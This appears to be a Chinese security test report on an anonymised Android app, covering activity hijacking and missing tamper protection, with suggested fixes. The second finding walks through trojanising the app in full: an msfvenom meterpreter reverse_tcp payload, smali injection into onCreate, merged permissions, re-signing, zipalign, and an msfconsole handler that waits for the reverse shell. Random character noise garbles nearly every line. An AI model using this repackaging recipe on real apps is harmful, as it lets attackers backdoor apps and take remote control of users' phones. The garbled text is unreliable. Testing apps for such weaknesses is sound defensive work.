+ t. H- Z- s$ n" f( G+ f; N8 f: U0 h
+ M S8 W/ ]$ _0 M+ R0 g
& K2 Q9 z4 k! P6 n. u
0 B' ^0 \0 o4 E+ P) D! g
N( z- F- f+ x2 J, y
4 J9 E) y n1 Y. Z
% S; ?- L8 _' K1 k / V2 H7 K; @# ?$ p, B
& z2 e3 E G* y9 Z. \$ y2 t- n
1 B9 M$ ~/ ^$ H3 i& G
! J- o0 f. |5 d; T" l& w) X$ I
$ m/ g0 Z# S% g3 b8 ~
$ \3 t3 f, b0 p3 g0 d6 a
. P: y7 j- J" S0 R1 w- ~
% o# q( U8 m$ V! A/ A+ ]$ @7 }4 B9 l 8 ~( l) L" g/ i
4 \: e/ w& ~9 d8 Y. U- F! X
表1-2 测试结果 ( c+ W" v8 \5 V$ N9 D/ S% z3 m# M) Z
5 _' ?* O2 Q C4 N! V
0 d! T" I( u1 C* q& l
1 z% @6 v# ~ l 1 C* |% b( L9 u3 j9 C
4 J, W/ o6 u) ?: S
) C4 F H2 m2 A2 ]* ^& s' S0 C$ ]* R$ c
- T: n- U0 _7 U* F+ b# t) z4 ~ k6 e8 p
; v* \% J6 C& p* J2 l. [9 H- b
& l+ T/ R2 M# h, n+ T. |8 W% G; j) ^
2 检测结果 * }! |: S$ m6 H) [/ f4 U9 [7 ^" V
w; l! o ?: `2 ]' ]* H
9 k/ I2 j* I! d0 G+ A' G3 X) {
. n$ [* N4 }& y( o4 U: j9 j+ b , l' F! h: g c9 U$ K
* t: c( w+ y G2 t
2.1 某某某 4 C4 _& x! m* m% W: y: Z6 i
& Z& ]" P: X9 b7 U8 N
, S2 `, Y2 ^) b
% d9 g+ `1 Q. v) c5 f) T
4 G8 ^ m2 A+ m; W# C& v/ o5 E# G; } N1 o' I5 O4 y
2.1.1检测目标 % ]: }7 l* `- [+ n* H: F9 x# p/ F
' Q0 H: x$ G, V: d3 }
% X, A# c( y: |: z# @. |( w7 y
7 v8 k/ M" W. s3 |3 ^
d' e" [* g1 I6 k5 n* |, n+ T
: G9 A0 k3 w0 i4 [( i; @ 目标地址: 某某某某某某APP
9 P9 u0 Q. H R- d/ `" W& O3 [
# p8 J% M8 {4 c7 a+ `
- z2 r4 S+ j* v' g
2 G& V5 y2 ~+ n
* P8 _" F0 {! [ b3 X& M3 `" T* P! B* Y' I9 \/ ~" p ]4 y, l$ o. U
2.1.2检测结果
( C* i8 h, Y7 v" E% w1 x4 c7 g5 s2 @1 D! N- x" r7 U
$ U% R. M3 o: Z8 ^. V) A
; ]- H! f2 _) o& R
5 a' n2 y* U8 e/ @2 \) M3 _
U/ g5 B( _% H" {7 a. q% ~ 2.1.2.1 # F5 \! X0 d, j* d+ n
. m4 B" r" u1 }4 l2 [" t( K" X) N
+ q+ ^- U9 ~) h8 `7 o; n& ~$ L. D4 C0 `2 Q
' Q6 `4 A# p+ N- h
! B! K. V0 x4 U% |
漏洞链接地址:某某某某某某APP ' @$ p# t% N5 x; k5 t- w9 J8 S
% T, ^* J8 c- r3 {
! p3 k, r( Q& s4 G& n) y) S
' j x& i6 L* v! l) V' M
; H H# C) d1 P4 _, G8 C* Q
$ n* E) Y3 C# t0 w9 }; J8 k
* h- Y1 b4 O( h; z. B+ `, q1 j- b# Y4 y5 l/ f+ g' F
# N+ e) l1 @3 g# g, o" @+ }
) n% X4 Z* Z3 D0 U' O8 Z. k
0 u# `5 M" Z. d* u: v/ R# L
+ a) ~$ V* s5 C 漏洞分析及取证:
5 }7 t+ ]5 o1 {' x$ x
% c) ~9 z4 h( t, Q1 p& V1 @
0 p) z1 q, J" h( h1 v9 G% f
1 S" s: G2 {; x* j" }" l I
# @4 ]8 u4 X% `# J2 Q/ w
- u: [$ M6 ]! W3 K" `# A m" A
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 5 z0 d2 }% M0 @2 Q" X; U* U
2 J! n$ v6 {% m( e4 d
" M0 E5 _* M: u# J: I2 l
, s) J" f) B4 C& V* F% s " N5 L( V9 {. [1 K3 O8 b0 `7 v
( G) k) R. o& s6 k; y
2 V% ^& S# b# A: M+ f
! K* o: H% r$ L0 i+ G$ I/ m& C
) o5 Q3 U* _4 P% J3 E2 r( T B1 X0 N. f3 h! E I0 c: G g8 h
* E0 p/ ], l; P
: B' |1 \7 f: |1 g
& q) @: N A2 ~# S4 b2 P
D9 i" R# A: N# u0 A# s" o7 f! V
1 ?: B: _8 S: w$ c3 c' l, h* f( J
( c5 w/ u# q( V" f1 E% O. Y# r& s
6 `' f% Q% h% R) z+ Y9 `
- D4 F0 M- T7 G- H \. F5 s
1 _& P2 T7 z+ Q9 G
/ _1 f3 f- t [- `$ G9 ~# s
) R. M8 c$ u1 F% S
! N; R# q. c+ d- Z% V5 O! {
. | z) }. G9 ~2 ~6 i9 m
" |, L- O4 a5 X8 h% Z
( S4 _, n7 }6 B' z8 v1 `3 |/ w) x
- m) R7 J5 J1 r7 D% A; _
0 X: \7 }* {# n5 p& I
! j5 L$ X/ Y" \! ~ M # T: ], m2 C7 O% M
9 T- H- V) z# o, r6 i6 T, Y6 Y
+ I0 e: M: t- Z" o9 h) r2 P# g+ u+ J+ Q% ]% h! u3 ? C
$ M) V: I8 h9 W# J
( P7 X$ T) z7 s, o4 v! v
- F5 z3 l1 T" y9 E6 m; D6 Q/ U, R
漏洞危害:高 6 @3 ?& ] b; C5 w& \( J" [" v
7 c v5 a, k0 v! k7 d5 z* Z
2 x$ R% Q$ B3 ^
* {) j) y7 V. B$ o
7 A& A% H J& C. L3 s
6 U6 l. H$ }5 j + [% S) e, ^9 w6 \
5 o+ Q: f9 {6 X/ z& [+ {; ]2 L ( }; W* X. W" F' z n
/ ~1 r2 J3 [7 }; n( ^* }( z9 I
& j% S) g' X: Y
. R8 p$ d+ ?! p2 ^$ R+ c8 l! o" W
|
% U* H+ p% U, o# Y) y5 ~2 T9 J
; C4 j( @/ p7 O - ]. L( n! s/ B& ~( T/ K& p4 R( E
. E5 {( I- V4 Z9 y N+ x
严重程度
: d2 P7 k* q# u0 `; w2 k
3 } P" S0 \5 h5 N: P! W 8 q5 S) I$ S1 U* B4 F) L0 J7 F
+ _2 g) q5 v" n' S) P
| / }; J) h/ A8 `7 u k( Q/ h
8 b) F( D$ X4 \( K, Q I + r2 W% D: A, l! C6 _6 M: S
& ~+ N8 F) R9 y W 0 d) O8 m+ k" ]) f6 \1 R
6 y: J, h, C. I: \6 ^' g0 p0 e* S5 _$ k 高 * F3 V% w- r a
& x9 T; D) p/ v" E6 p
2 C1 ^$ S7 ^5 f$ Y
! a$ G; u$ n" {7 | |
$ x- ~( G8 B: ~0 I
8 Q7 M: r$ X; W3 u- |; V6 V
! U# B W5 }8 Q# E: w( x# U/ B* k. `
2 h* Y, C- ?# E+ F! ~, p& Q, v. ~! x" t* K5 O' \3 h: E5 K; `- q
■
; w' @! H2 P# h* f: T9 J
% t0 L( `. |* N
: U& \4 e4 W- Q2 `$ `% Z' i7 X9 [- { `5 `$ B+ r! d
| ! d& l8 m9 k6 q% i
a- t# I( S$ ^2 h) n$ V
`4 m" H) I3 p6 r: s# T6 y, R' ]' D9 \" [8 |
R$ p1 u D- q
5 D2 s- W6 R3 F! _: } 中 * {. j4 b# x7 {% r7 E6 @+ e. F
- @$ I2 Q$ { J4 D a0 w2 c
- r0 F' n6 x8 \+ ^
( {1 L: ?# ^4 T( h y l. ^2 m
|
7 R0 ^, m( r. H9 v1 h3 T' f& v! e/ S, t) p1 u% {9 G+ a
) q9 C! n$ D. v" h4 d
" |( F1 F: Q3 h6 d% |
6 l2 k) f2 U" E, D1 f! o N6 r$ _, p( @: U! I
( Y A4 F7 ?' t9 C; X% u
% \0 \7 K4 D2 @; i0 F4 J" v8 ~9 h
' @8 j! D- N$ w% W7 I3 k# k# l g0 {8 B# j
|
5 z" {+ X# x/ D- A5 p
# n9 b1 Z! ]! G2 |4 H v7 y
; e- k6 x+ D9 ^9 a' A. i. R
0 m: l' {( h& {* l5 h 8 p/ H9 W- P1 D4 z! p/ k+ q4 V
! ]$ a2 r/ ^' g* q+ j 低 7 ?7 Q/ y: u# Y8 C* j) ?
! K% c+ Y( I1 s. c. j1 v
! v" i% f! L! [+ Y6 R# x: Z* e+ M8 c' {0 V4 o! H' r; h. i
| 9 y4 ~+ V' H9 H C
/ `+ v4 p: L' U3 u
1 x# U+ M: Z5 w$ P! d. h' e9 f9 t8 i- {/ a7 t
8 |! n( e. r, e2 h
0 O$ J; t: L8 C! K3 V7 Q5 @& U
7 W) f/ V9 C8 Y- T
1 Q" F, A" B" h# P " f$ e+ d% R+ d$ y7 P/ a
( N) V' R/ A( K+ x9 U" k | 5 n7 r' V9 M, @' K
, N( A( f4 A4 @4 D# _7 U. N9 ?
- I% r a1 v7 v1 C& w. _- ]' o" I
- K$ z% j V5 s6 G
7 K2 Q" c* p5 L+ f$ N, {. F/ e* |) ]1 s
8 {% T, g0 ?+ w' ^3 B+ n: ^ ~& L0 d* T% W y% c. h- r
2 g! b% O$ U3 C6 F8 B$ m7 d$ v j! O/ e$ X5 ]
7 p0 k- c5 i2 \" d' c+ ^% R' F) f9 c: e( R- Z7 }9 w3 ?
9 o( K/ a" L$ q# X
/ m1 z6 K1 ^. |/ Q C4 k
7 Q) L% M. G. _8 M% m
6 i( T" [9 L! d: i! \
; S3 x# O+ p& m
$ A; {0 q0 b- k4 N
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 1 h( b: n9 l& v1 P$ L6 f
$ C/ B9 q! o4 ~
9 x+ Y6 K' W% a; |5 l, n- [0 ?$ i' J# w
; [# t9 n! h! c
; L" I/ v% d6 D4 Y - p& l" {1 f! b1 \5 e
( A9 I- t4 e9 i$ K# _! l0 |
, ]& I) d6 b/ ?+ @' ?
4 o3 b& z( X. j* T" X# y( y1 \3 P' z
+ e& @2 R# @6 v$ o! }0 K5 P
y1 M T' z% f0 | / k7 P" B: Q H3 I$ `9 S1 \& L
. P7 R5 R. ?( q5 m
! }) V2 T* ?$ R% O0 G8 w
8 n6 c* O* r! B2 H
. \/ k" X8 o# X9 d# y8 T" ^3 n% C9 a& p4 N% R) Q/ T
2.1.2.2 2 s6 t# }8 t h, Z6 i- C5 v1 ^
( T) X. X; I9 o% V6 o5 t8 X
2 Y/ N0 a7 \8 ]( k4 I2 L1 M g4 d/ S5 b- l
; z$ Z2 I3 ~. m! ?2 D
, n% @8 B$ d( W0 T2 n& q 漏洞链接地址:某某某某某某APP * w0 z9 a. `, A
8 S+ \; v; L3 R( ~
2 N+ W" S8 G% ]& V
# F" V$ Q0 k: [7 H. l
: i& y. _& d4 I1 c( `
. A. }; y: P+ M$ \- s8 N 漏洞分析及取证:
0 y- F( f/ D4 z4 K8 w" p) N4 D& {' e5 Q- R' A
7 A" F7 s7 w/ \4 @% J; g* ]
1 k( P! Z: y& k1 A* Q* U2 ~/ x3 {
8 G$ Q. \/ q' s/ P) d% W
& S# Y+ S$ H! C) a- [- \ 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
& a J# Z& K* {0 t6 ?* A
1 k1 Y- \( i5 y0 C) V
) s6 D+ W: H* _! G! @2 X2 n( ~
% l; x8 G3 z. M
: q; E# ^# u' @7 K5 A+ L6 d7 \8 s$ z, `$ b2 p# V
用Metasploit 生成木马 apk , B2 [5 `. W) H+ r7 ]& [0 f
# Z8 ] \9 F; @. T( @
6 C' f. c. R" S1 `1 Y4 e4 u( C& r- G0 P+ O( C6 s
, l' I/ q% T+ G/ P% r& {, R
+ T7 v& r* r* b. E4 G$ _7 M2 J
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
0 l2 S$ ^5 p" [, P9 `
/ p. Z) e9 q5 g4 e9 ^7 N" x2 j
0 w1 n# R4 e' A: I
# O9 z) B$ h! S1 j9 z* ^; `- I
- f4 t0 @) g s6 ?: d# H- N) x, g% d1 r9 N) x
反编译目标apk和木马apk
) t! a- i. u# ^1 }; n4 U
. k8 Z& B% t: b+ B
( q+ [0 r% q$ m6 T
) \$ {1 I0 T; m9 Y& a
+ Q5 j+ a F* G* D+ F' Q, _6 s, R/ G
apktool d target.apk
: f& B* ~9 T1 n. k/ v- G/ n
' c) Q9 X& k- s2 i
apktool d cockhorse.apk : [1 D# V0 p" @$ Q& M
) P& ?: Q! A( ]. y1 L' J, t
2 B! L: g3 u- |+ d+ O
+ x$ {1 j3 v# I
3 R x' Y" A% M4 J) }
4 b P9 F! C" H/ o 木马 apk 注入目标 apk : |7 l4 G. Y- w6 b8 c
3 `; Q4 }3 |, _, M7 R; w
; |3 @& A6 b; t) I C2 F- p3 \' B
8 D n+ K- } b4 F/ Y ' F" D# W, p# ^4 Q3 I
( W- R+ v3 X( r" D' b& M 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
$ a" \0 r) ]* l9 ^
( E1 P; v% L& v2 z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ; [- G8 @* G, X M/ {1 B
0 C& z& @, m2 D$ A7 Q
) X" S8 j7 M8 t- R4 X
& m& {/ t0 ]1 [) j# \& j
1 A, C& d% x2 _9 c4 W
" z3 R% f9 ~% Y( W) j9 Q 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 0 `. M- Z' t* T }+ u4 {
/ ^! v' V- _1 O- a' Q a, P+ N
4 X: u- B6 ~+ c q/ _7 t; g4 N+ y5 w3 @+ m4 l4 E. _2 j$ W
$ ~3 ~; v% J/ i/ i3 l4 h) Z1 P
- A4 S! b/ h, x5 y) L/ X' Z 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ( l4 v# @4 _/ e. x- T, [
! U; R! F: k: U
/ e, F1 X& l# c3 W, L+ \; D( f0 i; q: [3 B
3 C6 \9 w* u0 o% q
! K, `7 H3 h0 b! R) S$ _" ^ 回编译生成最终 apk
* M! N. ]& ?) Z: n% L# i- Y& u* t- ]8 `; M0 U, z9 ]9 P
4 o( `5 Y) m- M# \$ u8 |/ e1 g0 H$ {0 J4 e A8 S: M* v
& o: L3 k3 G8 B# o# D* E9 q8 |% R7 w1 R& E2 I: |/ i! x
重新打包
+ W. C' ]6 l5 [; _! y D$ t% ]& ^- h9 r( V' X i
3 u0 |" D2 |0 W# s, d1 S
+ l9 J9 S& ?* V& C8 _8 m
7 ~1 @7 y$ B7 J6 X( C7 S5 U. a8 A$ Q5 v& ]& B" m
apktool b -o repackage.apk target_app_floder 5 g9 R$ ^& @% o3 E# ^- m2 f8 _
5 O& T3 i6 c$ q' v0 A
- s/ v- x o) O9 v) j
1 R4 S- f7 R7 e: G- v
6 t4 {2 ^/ W4 s* b9 v: Y, V/ A! [3 S% B
创建签名文件,有的话可忽略此步骤
z4 W0 q% `- t5 e
* J, v+ F6 f) ^6 a2 ~ w G9 g
7 y( {, w- l# {" R( l' o& M
; Z5 d n4 O3 h2 s
) b0 ^0 E) m5 {5 ]+ z( b+ k/ R9 M: a; a" W
& s! I5 a7 u+ E0 `0 e keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
! d1 j6 _) A7 V. Y
. s3 h1 b- S" `9 S
6 s( V: b* @6 S; M+ ~& R! r5 Y3 N4 K+ L5 d: a
6 T, a7 ~6 R/ N7 d( M9 E P
! @& v( c+ M' t$ O3 _% L: d 签名,以下任选其一 & v' y* ?7 X2 @/ {$ ~
$ t$ e; o' w6 Q" U: `' O
2 X$ G9 p/ M$ d; o K3 A$ U, C& j/ L
, _7 t4 C3 d* Y3 {' ]; [2 R% b% ?) \- M1 A* e `
jarsigner 方式 / ~& y* u1 A; o4 A( i S
, |3 T* ~$ H& e1 j0 [3 V, i
/ Z/ g& C5 ?# o$ u- M, c) O$ q6 q# S* G: C( I% d
8 @# c( p1 ]. \/ [) G6 g
/ E/ v# w! n K& M9 B Z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 5 v4 g9 e6 @+ l9 w1 z3 E" N) }
) N" f# h0 f3 w% c. e# b8 |9 e8 T
* V* K7 j( Z: x; m
9 o- ^2 S( k$ T
% Q2 |. ]; R7 O0 N
7 e6 X+ v1 v; _1 C apksigner 方式 & h6 l5 m6 E- o S" z
* o6 U, d; a3 F
0 \, e& T3 P# ?
) G3 F9 k) f8 O
( k7 T: n2 v4 p* B1 I7 s Y
6 R0 p/ q; w) ?. j2 m; | Y8 O2 } apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 3 ] o- P0 q, s3 e8 L
0 S; @; S2 p& h4 x- [8 u
5 E a2 U( f' ]3 t" w9 q
4 N# F. Y) d/ w* b9 _- }) n 2 \# f& m. }1 `! N
# t2 S: G/ b1 l3 f2 s) R 如需要禁用 v2签名 添加选项--v2-signing-enabled false
& `$ i' X9 {) f; ^# ]( A
c9 l5 _& ]! O) [& \- F
/ X d5 Z3 Q) V# W8 w+ z, g
9 \7 u, W% w) L0 ~ ?% `
+ z* I2 x; J6 `9 Y4 O- F& ~; t+ [; r) X+ c( f
验证,以下任选其一 : f; j1 F( _8 E5 y4 E4 i, L
6 w2 J3 j& q$ R" p, l+ ]$ C
6 d" [8 T: u, b* N7 V/ M6 A0 G, r( m( t" f P }/ X2 b& N- `
' @* A2 C; C$ M3 s
1 r. b" Z6 M1 K _ jarsigner方式
0 f9 W$ K3 S( x1 ]6 s
Q4 p& ]1 c" p0 c+ d
5 L1 e' O R! j4 M9 J4 T0 [. [9 ^
% W! P5 s8 _# n; x+ |& t
/ I" }- `, C# D jarsigner -verify repackaged.apk + {# b( |" o. q& q& G
. b K+ c5 X, w" D
; ?! U& M; W8 _9 T; W: y$ g6 ]8 G, K; |9 S6 Y. {! F d2 R
" ]4 W; N3 ~% ~1 A5 q1 _. @
$ c3 v7 x7 c i+ G% ?* o5 c- t apksigner 方式
; v5 y. v' _; K2 w# [
2 Z' p8 O0 x& u+ D4 K1 r( t
+ S- {" r, Q- _( X+ D1 F3 P$ ?; S
7 M( l2 }) y- Q8 c& @/ X
/ s9 W! |- e! D# G( \) a' G H9 q' v6 G, t% r
apksigner verify -v --print-certs repackaged.apk ! h2 u( g/ O7 f+ B
. g' j) W2 Z' j: j
8 f7 E% T! f! Z8 `. O$ r# A! | q' F% {
) _: p# Q. d* O
" s I V: Z0 Q% w7 n keytool方式
/ v8 C. V' H. S# c% L7 ^
( Z: Y" F- I6 e+ Q' s: }* ^
) s6 h9 D2 N/ P# F( _) ]$ X H0 m/ D. f7 S* q! H; H
/ Y" _. s+ R% m8 n; H$ V4 I' `
! V, M8 N, G8 A; |4 K keytool -printcert -jarfile repackaged.apk . W: b; _1 F; F7 h/ B
1 x' D% J& e- k( W
* o! I: p& J: X* p* u n8 l# s; j6 }6 P; y! n
) I; n1 c. I3 v8 L9 z; o6 Q
9 {& J3 v" n5 H 对齐 5 v" s( P! T% m! x; z! x, i0 p; J. o- m
# c7 j: z7 x/ g6 \( j) U' O& H
& n9 z9 a4 v) \. n
5 H% C- o R; A" N; [' G8 w; H6 o
7 R4 R; O. p$ q% I2 |; [0 W3 t
! {& @& l5 ^* Y8 g% G# w 字节对齐优化
4 i m5 W+ d7 o l
2 n5 f; f, V) a
( }, \& Q" r9 `% T* J2 V
) c }7 G. Z, v: C
/ V( V2 I2 N; Q+ o6 C- i7 N
, w) x8 }- ?% H zipalign -v 4 repackaged.apk final.apk + @! s# Q4 V' T @' [( U
' S2 O8 L3 P) c$ G$ P K# S$ e) S: i
# I3 C$ ~3 z& P, ^- Q+ Q9 f/ f, o# P+ g4 }0 w! _0 [, f e
1 w* k$ N/ p3 K0 P& ], @; q
& F& E/ ]; K! r3 R5 m. Y4 x 检查是否对齐
: J) f) X# f6 B. e, K) X! `# m1 w' s* V: R( V2 P' e4 U- [' U
1 c3 Z) e" v3 o5 o- |4 w3 g
9 G+ V/ k) c% B$ U4 k9 F
* E6 D" ?3 p/ r Q8 S
' s5 ]9 }1 y; R- }! Z zipalign -c -v 4 final.apk 9 w7 j O/ C, z& E' X2 s! b. `" }
. {$ m Q7 B; d
& ^; ~# U' w. R5 V5 T& I5 G( _) d" S' |6 l
: y* D; c5 k; e1 t- `# s: j& p" z7 Q) y& V! @
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 2 }4 V9 G- W. M) J, W
! E5 G' n6 [3 L4 ~# y
5 d5 R1 z# Y; r R! @
8 c c3 T/ m0 n7 }0 p2 a
8 D1 s3 C- i2 r2 t- _. \4 f' q* k' ` H% x0 G% T
启动Metasploit控制台,配置参数等待上线 ' A- y% g$ Z0 F6 o7 ?" L6 t( _& M' W
* J0 l# N1 C$ V: |/ v6 q
4 h* a" J3 {6 c2 j
9 K' F' @3 a; H; q
' p- g% Q. l, s7 m' v8 T \5 Q' E, x, w4 v/ T/ y
在终端依次输入如下命令 + b; b- {6 o! o o y' h+ }
8 O- ^9 [6 i, p- l% r3 o
% I4 N) f0 ^* N! s' s& @" z0 {+ K& S& `7 H
3 Y( |7 g, S$ H6 r
z3 I! G* V9 R& {) m+ G
msfconsole 5 Q7 N4 |( s: u) T0 ^
% v9 P% p6 @" `7 |/ m% F9 a& p! _
* b8 F+ D; E2 H x1 h# X$ Y2 @: m, K' i/ V' E* R* G8 K
+ B. C: M( @, V$ ]: M) Y% p0 @0 w T- X/ l
use exploit/multi/handler
8 Y5 t2 N! K' W
2 _% ]% r6 a. W: K
, Q( ?: s! j. l5 D) a, w
. ?6 G4 c! x) ?9 a- l; l2 J 5 I) Z m# ~ H' k1 [
/ V* \1 a* h: Y: ? set PAYLOAD android/meterpreter/reverse_tcp ! i) r6 A! o, ]0 P
# Q, h6 x% p: W' J2 V! _0 p$ ~
& e; Q3 I5 J8 d# a! z) N- Z
, Q' I# `' W* T0 E; c0 ~9 b" l
. S0 z* f, ?1 ~1 s6 u
# b7 |5 X1 g. Z6 H9 _+ A% l set LHOST 192.xxx.xx.xx ( S+ @2 V3 k* x ~" n
, n# J$ |- ?& C
0 E7 w8 P( E' j! C
$ y: U; z" f5 F7 m4 n/ `
: {: v5 t6 U6 X0 V5 B }) V& k4 n6 L* q: M: D( }4 ^( n
set LPORT 4444
( @' U# T/ E0 k8 `
; q* N3 s3 b; t8 R w) D
u) a1 L- c8 L0 l% K" I4 l0 c0 m' n( [+ [9 [4 e0 h
- E- Y8 u7 R; O8 E0 z* ]6 B
4 X) G {. o, G7 `
exploit ; E# G: x: j6 @: h: c3 D
8 C) F- Z7 s7 }" e8 w/ i
6 T- x/ K% y G
1 n- [) h- }7 y! @/ f
# X1 w9 g! |5 `# M0 x- x- A* V
% f3 p$ Q; a: U. z 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
$ v- f( [: Q, X/ `5 R& i+ A9 q: O: Q2 I f, a$ e& X) d' k
# l% m6 n3 R! x! V8 }* `0 A3 ]
( o1 G2 _$ }& \( V% M4 A+ S6 m- m' h
6 J# ~7 Q/ \8 w
2 U; t6 i& i4 ^9 s h 漏洞危害:中 # \( e, P2 k* l7 ^6 z1 x
. w+ E4 s( ]! N8 K9 q: |% H
8 E$ g; L8 A R/ ^ v8 L, M: F/ C+ F$ C9 p/ D
5 F4 ]/ i, K9 A( N% l4 F+ Z; {
1 C# S' L1 c9 n4 c% a
0 I7 C7 F* I5 p. F0 Z9 L8 ]
2 i! o. P4 F6 F O; L! u' k7 h+ d2 h6 {* l
' M% x/ W, J. @! D3 S 9 O1 n2 i z4 ~; Q! F# c4 S
P: Q3 G) p% x) x) A
$ ^2 g- y. h! r1 X# n* t5 W1 d1 u( r: I$ {, W; D( b1 @, N
| ! ]+ y( ]2 B8 H. o' `! b- D# y
. b. p( U0 q3 q
& w9 }) `7 L8 Z7 \; l
# ^- d# \ s+ c6 g 严重程度 / p1 L' A- c( r+ r( p1 H0 R& [
" \/ Z1 h) Y1 W3 L4 n. [' y
5 P. K( B0 ? @% [# y2 i, j0 f7 [, A. k
| % E. f# ?% t+ h& J+ s/ m
; S4 }2 L3 g1 ^& n # U9 y) j3 C9 V2 i% @2 B
2 J) b- H+ x+ j: _$ u
0 t- g; l. j' H! s0 P% ?6 K; ~6 [4 H& Y& K7 i L5 I/ w
高 9 y. }3 ^" q1 s) Z6 ~7 M
u6 m: M, u- S% z" j
: N+ v' R* V$ {& P: r, \) E, \: \1 Z; I5 X( ?6 c+ K5 n1 _
| 1 M4 r+ \& | L: M8 w) ~+ D
7 H6 f; s5 |0 k/ Y2 n+ T3 R/ T" d
5 H% P0 m$ u6 z+ o, Z# Z& {6 n
5 j( ~* u% y- i8 D
9 v; _$ s0 I- @4 i9 {
6 h2 O! l( J, ? ■
8 ~3 p. i1 M4 y( K F# M
* H# T, D0 J# _; N 2 J6 t3 S# Z0 R# e ?9 o
; }4 I# G4 f3 p0 I$ O4 D" L
|
, L" u3 ^ L) }6 c
( a x4 A& E8 k
! x% u; c/ s' l
, M; N0 n' F5 C* j! @
+ t, J- |, M! }' `- R' p# a3 P, v% |0 ~/ D, j& R( n5 m
中 , D4 _/ X$ `& I
; c! ^* d: G- \! i; A& b
- a' `, W* O0 I; Z9 L7 J) t
( m! J* T# E" f# W9 V$ D; J
| " Z% }3 S& M4 y+ k1 a
9 k& ]. N* J8 ?' O . Y2 K9 I) ?1 u' k$ `
% X/ }! `; G3 g
% A ~' _& {. S4 s7 U" D; C% h
4 A+ Q; J0 {2 d' P8 B
, t3 j8 m9 u+ h4 H7 z# n b M/ `2 a* o3 l$ R" }
, W, B; f! u1 M/ T0 h4 @0 _7 t* o7 ?3 H: W+ u7 A! {
0 N( G) D" ^- g6 n
* Y1 k8 W+ d6 F9 k. |6 | |
5 I- \- x+ J( Z% D u
6 ?, W* z4 N' A! c6 L/ `; E4 ^5 r3 m
9 |8 B5 b& m1 G& B# ~: p @3 }! i. q+ i V3 I1 N! _0 g
* w$ e( l/ P! F
: L$ U3 J# Q9 t* d 低 ; O- z3 P: U1 Q1 d
" F' R' P# o- k4 y
) m3 E8 D# w# ?- B" S: y9 `! l( X8 c2 N, M3 G: p
|
+ }- b# x4 F8 _) |# b/ ]' B9 o6 ]. H! C* s: Z
* v" ?8 F/ `, V+ c8 L- o7 x
{& ?" v' H/ i: k
0 f4 q7 L, A( k, s2 ^ S5 u$ j; g3 W* F7 U% A
2 \- V: B; _0 h9 s3 D2 L
6 D9 m2 \" k" v( O: V. J. @# { 9 Q$ m V3 ^5 o% W) M8 I
( U8 g2 F- O) r
, v0 c& O# z9 s$ J
) V; x6 A& }, ?- T
|
7 |! s# m: N8 K; \" e" O
. Z' L; q/ n7 s( I
5 d) T2 D( x, X7 q/ Q
" j5 L- b4 F6 ]
. k7 ]) ]- d3 Y3 \. O$ l& y
$ c% N. W0 y% B! o0 j# `
8 F. L( ~9 e& O: |9 v2 ^' C: T) M1 B3 i9 w
`6 B7 p! Z g
& O$ Q7 w4 N% ]0 [$ ?
! V U, b: l5 Y1 w7 S. m
; Y& }5 ?% v# g" q: T% F: F, B : ]" X* g* {* t t" F" n
9 p) A# e/ z8 g: K% O0 `" T! v4 ]
/ M& Y' A9 v6 |, n; G$ A
; O, ~7 c: e1 ?* {1 x; L5 j$ I- C
^& w8 G- C0 N7 R
) `- c0 E' ^0 }( ?1 q R9 r! {% e
修复方法: 8 ^& h" k+ j9 T
4 K/ q& |7 d9 A/ q1 [% k
5 C( t u& }# M/ N+ c
" W- W; X4 D/ i& n
* X, G. U, z0 j" l' Q6 K0 ?$ r0 D( ?, K+ d
1.在 APP 启动时应做签名校验防止二次打包。
/ |0 }0 ^% r! e# y# D5 w
" B: `* E2 Y3 y i1 D" D. F 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 / x$ G8 T# v9 d. n+ A- P9 G, |" K. Z, R
, f9 ^9 U7 K; c, @: c/ I
8 T+ U4 f$ K" Z9 m" D
z E7 a0 ~( q9 m8 G 7 `. O$ Z) D3 F- V
) ]0 D6 C9 f/ ]2 h' W7 T* p
3 m- \+ L4 v- _
5 r! n7 ?, G- ?8 [
! e7 P5 P; `3 K! |! F% \7 Y
" {8 ^' M& C( |6 V7 N5 A2 p: g
& E# W" p2 T1 ]4 j
5 o0 a$ J% u& _0 u. _9 ]
- \7 ~( |( e7 ]& ?! N) W0 }6 `3 D& F6 i9 E$ ~
; X: Z; N% N, l+ X4 v# ?
5 @: I+ y+ ]- K; O# }# P9 `7 B
, Y, U& p+ N. x- v* C+ P
" ?# t& | ?: k# z3 g+ _2 C% b5 t
4 y/ Y) M$ _' Y- J5 a' z( V* m- X; D6 M! D